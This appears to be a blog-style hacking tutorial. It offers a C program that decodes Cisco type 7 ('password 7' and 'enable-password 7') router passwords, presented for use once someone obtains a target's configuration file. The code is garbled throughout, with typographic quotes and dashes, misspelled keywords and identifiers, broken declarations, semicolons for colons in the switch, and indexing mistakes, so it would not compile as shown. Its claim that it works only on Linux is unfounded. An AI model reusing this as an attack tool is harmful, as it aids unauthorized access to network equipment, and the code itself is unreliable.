How to crack Cisco Router password

Cisco password cracking is really cool, it is an exercise for your grey cells, if the target system has a firewall or any other network security software is installed in the system.


Once if you get the network password file it will be easy for you crack or decrypt the encrypted file by the following C program.

_________________________________________________________________________________

#include
#include

Char xlat[] = {

                0x64,0x73,0x66,0x64,0x3b,0x6b,0x66,

                0x6f,0x41,0x2c,0x2e,0x69,0x79,0x65,

                0x77,0x72,0x6b,0x6c,0x64,0x4a,0x4b,0x44

};

char pw_str1[] = “password 7”;
char pw_str2[] = “enable-password 7”;

char *pname;

cdecrypty(enc_pw,dec_pw)
char *enc_pw;
char *dec_pw;
{
                unsigned int seed, i, val = 0;

if(strlen(enc_pw) & 1)
                                return(-1);

                seed = (enc_pw[0] – ‘0’) * 10 + enc_pw[1] – ‘0’;

if (seed > 15 || !isdigit(enc_pw[0]) ||!isdigit(enc_pw[1]))
                                return(-1);

                for (i=2; i<= strlen(enc_pw); i++) {
                                if(i !=2 && !(i&1)) {
                                                dec_pw[i/2-2] = val ^ xlat[seed++];
                                                val = 0;
                                }

                                val *=16;

                                if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
                                                val += enc_pw[i] – ‘0’;
                                                continue;
                                }

                                if (enc_pw[i]>=’A’&& enc_pw[i]<=’F’) {
                                                val+= enc_pw[i]- ‘A’ + 10;
                                                continue;
                                }

                                if(strlen(enc_pw) !=i)
                                                return(-1);
                                }

dec_pw[++i/2] = 0;

return(0);

                }

                usage()
                {
                                fprintf(stdut, “Usage: %s –p \n, pname);
                                fprintf(stdut, “         %s –p \n, pname);

                                return(0);

                }

                main(argc,argv)
                int argc;
                char **argv;

                {

                                FILE *in = stdin, *out = stdout;
                                char line257];
                                char passwd[65];
                                unsigned int i, pw_pos;
                                d[65];
                                unsigned int i, pw_pos;

                                Pname = argv[0];

                                If(argc>1)
                                {
                                if(argc > 3) {
                                                usage();
                                                exit(1);
                                }

                                If(argv[1][0] == ‘_’)
                                {
                                                switch(argv[1][1]) {
                                                                case’h’;
                                                                usage();
                                                                break;

                                                                Case ‘p’;
                                                                if(cdecrypt(argv[2],passwd)) {
                                                                                fprintf(stderr,”Error.\n”);
                                                                                exit(1);
                                                                }
                                                                fprintf(stdout,”password:%s\n”,passwd);
                                                                break;

                                                                default;
                                                                fprintf(stderr,%s:unknown option.”,pname);
                                                }

                                                return(0);
                                }

                                if((in = fopen(argv[1],”rt”)) == NULL)
                                                exit(1);
                                if(argc>2)
                                if((out = fopen(argv[2],”wt”)) == NULL)
                                                exit(1);
                                }

                                while(1) {
                                                for(i=0;i<256;i++){
                                                                if((line[1] = fgetc(in)) == EOF) {
                                                                                if(i)
                                                                                                break;

                                                                                fclose(in);
                                                                                fclose(out);
                                                                                return(0);
                                                                }
                                                                if(line[i] ==’\r’)
                                                                                i--;

                                                                if(line[i] ==’\r’)
                                                                                break;
                                                                }
                                                                pw_pos = 0;
                                                                line[1] = 0;

                                                                if(!strncmp(line,pw_str1, strlen(pw_str1)))
                                                                                pw_pos = strlen(pw_str1);

                                                                if(!strncmp(line,pw_str2, strlen(pw_str2)))
                                                                                pw_pos = strlen(pw_str2);

                                                                if(!pw_pos) {
                                                                                fprintf(stdout, “%s\n”, line);
                                                                                continue;
                                                                }

if(cdecrypt(&line[pw_pos],passwd)) {
                                                                fprintf(stderr, “Error.\”);
                                                                exit(1);
                                                }
                                                else {
                                                                if(pw_pos == strlen(pw_str1))
                                                                                fprintf(out, “%s”,pw_str1);
                                                                else
                                                                                fprintf(out, “%s”,pw_str2);

                `fprintf(out, “%s\n”,passwd);

                                                                }

                                                }

                                }

Note:

1. The above program works only on Linux Operating System/Platform.
2. In Windows you have to find some “Brute Force Password Cracker”.